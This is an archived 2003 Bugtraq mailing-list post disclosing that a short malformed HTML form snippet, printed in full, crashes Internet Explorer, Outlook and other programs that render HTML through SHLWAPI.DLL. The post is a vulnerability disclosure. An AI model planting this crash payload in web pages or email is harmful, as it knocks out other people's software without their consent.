bugtraq - IE / Outlook / MS SHLWAPI Render

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <5147055902.20030422000720@s21sec.com>
Date: Tue, 22 Apr 2003 00:07:20 +0200
From: Ramon Pinuaga Cascales <rpinuaga@...sec.com>
To: bugtraq@...urityfocus.com
Subject: IE / Outlook / MS SHLWAPI Render - more trivial crash

Hola:

Well, as it seems that is the Microsoft Crash mounth, let see another one:

---------------------------------

<html>
<form>
<input type crash>
</form>
</html>

---------------------------------

This will crash IE with the following error:

"Unhandled exception in iexplore.exe (SHLWAPI.DLL): 0xC0000005: Access
Violation"

It's a null pointer overwrite, so it's not easly exploitable...

This HTML also crash Outlook, Frontpage, and all the Microsoft
programs that use the shlwapi.dll library to render web code.

Plain HTML is a dangerous language :)

-- 
Saludos,

 Ramon Pinuaga Cascales      
 mailto:rpinuaga@...sec.com
 Analista de Seguridad Telematica
 Tfno: 620921960

--